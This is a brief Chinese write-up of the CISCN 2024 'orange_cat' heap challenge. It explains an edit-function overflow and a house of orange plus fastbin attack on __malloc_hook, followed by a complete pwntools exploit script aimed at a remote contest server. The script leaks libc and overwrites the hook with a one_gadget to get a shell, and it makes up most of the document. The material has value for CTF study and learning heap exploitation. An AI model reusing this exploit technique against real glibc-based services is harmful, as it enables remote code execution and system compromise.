ciscn2024-orange_cat
就出了这一道被打成50分的,我真菜狗一只啊
包含输入、修改、输出、删除的堆块题
- 输入函数:只限制了堆块的大小,不限制数量
-
输出函数和删除函数都只能用一次
-
edit函数存在7个字节的溢出
top_chunk 的后三位+size(不包括符号位,符号位要为1),&FFF为0
先用house of orange(这个网上讲的很好)将topchunk置为unsorted bin。
创建一个0x60大小的块,从unsoterd bin中分割出来,再打印这个块,打印出对应的libc地址
将这个块free掉,修改它的fd指针为伪造的fast_chunk,然后用fastbin attack 打malloc_hook。
另:其实不用add那么多次,一次直接改就行,只不过是边打边学的house of orange,刚开始没想明白,后来懒得删上面的了,因为会有些微的地址的差距,懒得再改了。
exp:
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./pwn2')
p=remote('39.106.48.123',35999)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()
def debug():
gdb.attach(p)
pause(1)
def add(lenth,content):
ru('Exit')
sd(b'1')
ru('length')
sd(str(lenth))
rl()
sd(content)
def edit(lenth,content):
ru('Exit')
sd(b'4')
rl()
sd(str(lenth))
rl()
sd(content)
def dele():
ru('Exit')
sd(b'3')
def show():
ru('Exit')
sd(b'2')
sl('AAAA')
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x88,b"bb")
edit(0x8f,b'A'*(0x88)+p32(0xd71))
add(0x1000,b"ABCDEFGHIJKLMN")
#debug()
#show()
add(0x60,b'BB')
#debug()
#pause()
show()
ru('\x7f')
libc = ELF('/home/kali/Desktop/libc-2.23.so')
arena = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
hook = arena - 0x88 - 3 - 0x600
libc_base = arena -(0x7f96b13c4b78 -0x7f96b1000000 )-0x600
print(hex(arena))
print(hex(libc_base))
one_gadget = libc_base + 0xf03a4
dele()
payload = b'\x00'*19 + p64(one_gadget)
edit(8,p64(hook))
add(0x60,payload)
#debug()
add(0x60,payload)
#debug()
sd(b'1')
rl()
sd(b'80')
p.interactive()